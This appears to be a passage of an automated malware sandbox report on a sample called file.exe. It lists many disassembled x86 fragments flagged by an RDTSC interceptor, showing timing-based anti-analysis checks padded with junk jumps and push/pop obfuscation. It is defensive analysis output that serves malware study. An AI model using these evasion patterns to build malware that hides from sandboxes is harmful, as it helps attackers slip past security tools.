Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0265 second address: 4CC0269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0269 second address: 4CC028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4FE48681D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC028D second address: 4CC02AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02AB second address: 4CC02AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02AF second address: 4CC02B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02B5 second address: 4CC030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4FE48681D0h 0x00000009 adc eax, 77A0D968h 0x0000000f jmp 00007F4FE48681CBh 0x00000014 popfd 0x00000015 push eax 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d mov di, 6462h 0x00000021 pop edx 0x00000022 mov si, 124Fh 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F4FE48681D5h 0x0000002d xchg eax, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 mov edi, 3A56AA3Ch 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC030F second address: 4CC0315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0315 second address: 4CC0319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0319 second address: 4CC0350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a pushad 0x0000000b mov di, cx 0x0000000e mov edx, esi 0x00000010 popad 0x00000011 pushfd 0x00000012 jmp 00007F4FE44F82BCh 0x00000017 sbb eax, 0E0FE088h 0x0000001d jmp 00007F4FE44F82BBh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0350 second address: 4CC0365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE48681D0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0365 second address: 4CC036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC036B second address: 4CC036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC036F second address: 4CC0387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4FE44F82BBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0387 second address: 4CC038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC038B second address: 4CC0391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0391 second address: 4CC0397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0397 second address: 4CC03DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [769B4538h] 0x0000000d jmp 00007F4FE44F82BAh 0x00000012 xor dword ptr [ebp-08h], eax 0x00000015 jmp 00007F4FE44F82C0h 0x0000001a xor eax, ebp 0x0000001c jmp 00007F4FE44F82C1h 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03DB second address: 4CC03DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03DF second address: 4CC03F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03F2 second address: 4CC0453 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4FE48681D7h 0x00000011 sub cx, 0FAEh 0x00000016 jmp 00007F4FE48681D9h 0x0000001b popfd 0x0000001c movzx eax, di 0x0000001f popad 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0453 second address: 4CC0457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0457 second address: 4CC045B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC045B second address: 4CC0461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0461 second address: 4CC0496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4FE48681D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0496 second address: 4CC04AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov edi, 2A3767CEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr fs:[00000000h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04AE second address: 4CC04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F4FE48681CCh 0x0000000a sub eax, 132AC918h 0x00000010 jmp 00007F4FE48681CBh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04D2 second address: 4CC0597 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop edi 0x00000010 pushfd 0x00000011 jmp 00007F4FE44F82C6h 0x00000016 sbb ecx, 48DB4DD8h 0x0000001c jmp 00007F4FE44F82BBh 0x00000021 popfd 0x00000022 popad 0x00000023 call 00007F4FE44F82C8h 0x00000028 pushfd 0x00000029 jmp 00007F4FE44F82C2h 0x0000002e sub si, 7F68h 0x00000033 jmp 00007F4FE44F82BBh 0x00000038 popfd 0x00000039 pop ecx 0x0000003a popad 0x0000003b mov eax, dword ptr fs:[00000018h] 0x00000041 jmp 00007F4FE44F82BFh 0x00000046 mov ecx, dword ptr [eax+00000FDCh] 0x0000004c jmp 00007F4FE44F82C6h 0x00000051 test ecx, ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0597 second address: 4CC059D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC059D second address: 4CC05A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05A3 second address: 4CC05FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F4FE48681F3h 0x00000011 pushad 0x00000012 pushad 0x00000013 mov eax, 229DDFB3h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e add eax, ecx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F4FE48681CAh 0x00000027 or si, A1B8h 0x0000002c jmp 00007F4FE48681CBh 0x00000031 popfd 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F4FE48681D0h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05FF second address: 4CC0611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE44F82BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0611 second address: 4CC0627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB01D7 second address: 4CB0277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4FE44F82BFh 0x00000009 and al, 0000000Eh 0x0000000c jmp 00007F4FE44F82C9h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F4FE44F82C8h 0x0000001d and ah, FFFFFFB8h 0x00000020 jmp 00007F4FE44F82BBh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F4FE44F82C8h 0x0000002c and ch, 00000018h 0x0000002f jmp 00007F4FE44F82BBh 0x00000034 popfd 0x00000035 popad 0x00000036 mov dword ptr [esp], ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F4FE44F82C5h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0277 second address: 4CB0287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0287 second address: 4CB028B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB028B second address: 4CB02EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov eax, edi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F4FE48681CFh 0x00000014 xor eax, 17D915EEh 0x0000001a jmp 00007F4FE48681D9h 0x0000001f popfd 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 popad 0x00000024 sub esp, 2Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F4FE48681D6h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02EA second address: 4CB02EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02EE second address: 4CB02F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02F4 second address: 4CB02F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB02F9 second address: 4CB031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007F4FE48681D4h 0x0000000d mov dword ptr [esp], ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB031E second address: 4CB033B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB033B second address: 4CB0341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0341 second address: 4CB0345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0345 second address: 4CB0354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0354 second address: 4CB0358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0358 second address: 4CB035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB035C second address: 4CB0362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0362 second address: 4CB0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681CFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0375 second address: 4CB0387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov di, 8194h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB03CE second address: 4CB0404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F4FE48681CFh 0x00000010 sub edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4FE48681D2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0404 second address: 4CB04A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4FE44F82C1h 0x00000009 sbb ecx, 3AD4D926h 0x0000000f jmp 00007F4FE44F82C1h 0x00000014 popfd 0x00000015 mov ax, 4A57h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c inc ebx 0x0000001d pushad 0x0000001e mov edi, esi 0x00000020 pushfd 0x00000021 jmp 00007F4FE44F82C4h 0x00000026 sub ah, FFFFFFF8h 0x00000029 jmp 00007F4FE44F82BBh 0x0000002e popfd 0x0000002f popad 0x00000030 test al, al 0x00000032 pushad 0x00000033 push esi 0x00000034 push edx 0x00000035 pop eax 0x00000036 pop edi 0x00000037 mov edx, esi 0x00000039 popad 0x0000003a je 00007F4FE44F8452h 0x00000040 jmp 00007F4FE44F82C6h 0x00000045 lea ecx, dword ptr [ebp-14h] 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F4FE44F82C7h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB04A3 second address: 4CB04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0509 second address: 4CB0518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0518 second address: 4CB051D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB051D second address: 4CB053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4FE44F82BEh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB053C second address: 4CB0540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0540 second address: 4CB0544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0544 second address: 4CB054A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0653 second address: 4CB0657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0747 second address: 4CB074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB074D second address: 4CB0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0751 second address: 4CB0781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4FE48681CDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0781 second address: 4CB0069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F50561A6175h 0x0000000f xor eax, eax 0x00000011 jmp 00007F4FE44D19EAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov esi, eax 0x00000023 cmp esi, 00000000h 0x00000026 setne al 0x00000029 xor ebx, ebx 0x0000002b test al, 01h 0x0000002d jne 00007F4FE44F82B7h 0x0000002f jmp 00007F4FE44F83FBh 0x00000034 call 00007F4FE8C61059h 0x00000039 mov edi, edi 0x0000003b jmp 00007F4FE44F82C2h 0x00000040 xchg eax, ebp 0x00000041 jmp 00007F4FE44F82C0h 0x00000046 push eax 0x00000047 pushad 0x00000048 push edx 0x00000049 push esi 0x0000004a pop edx 0x0000004b pop ecx 0x0000004c push edx 0x0000004d pushfd 0x0000004e jmp 00007F4FE44F82C4h 0x00000053 or si, AD08h 0x00000058 jmp 00007F4FE44F82BBh 0x0000005d popfd 0x0000005e pop eax 0x0000005f popad 0x00000060 xchg eax, ebp 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F4FE44F82C2h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0069 second address: 4CB010B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4FE48681D1h 0x00000008 mov si, 7D57h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 jmp 00007F4FE48681CAh 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F4FE48681CEh 0x0000001e add si, 0CF8h 0x00000023 jmp 00007F4FE48681CBh 0x00000028 popfd 0x00000029 pushad 0x0000002a mov bl, ah 0x0000002c mov ebx, 2A417AE6h 0x00000031 popad 0x00000032 popad 0x00000033 push eax 0x00000034 pushad 0x00000035 push ecx 0x00000036 call 00007F4FE48681D9h 0x0000003b pop eax 0x0000003c pop edi 0x0000003d movzx eax, bx 0x00000040 popad 0x00000041 xchg eax, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F4FE48681D2h 0x0000004b and eax, 59CCB8E8h 0x00000051 jmp 00007F4FE48681CBh 0x00000056 popfd 0x00000057 mov di, si 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB015F second address: 4CB0165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0165 second address: 4CB0169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0169 second address: 4CB016D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C53 second address: 4CB0C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 4DF0h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C5C second address: 4CB0C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE44F82C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0C75 second address: 4CB0CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push edx 0x0000000d call 00007F4FE48681D6h 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 mov di, cx 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F4FE48681CFh 0x00000022 pop eax 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0CB6 second address: 4CB0D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, cx 0x00000016 pushfd 0x00000017 jmp 00007F4FE44F82C6h 0x0000001c jmp 00007F4FE44F82C5h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0D09 second address: 4CB0D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0D19 second address: 4CB0D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5056195F94h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dl, ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0D2E second address: 4CB0D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0D98 second address: 4CB0D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0D9C second address: 4CB0DA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DA2 second address: 4CB0DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DA8 second address: 4CB0DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0DAC second address: 4CB0DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
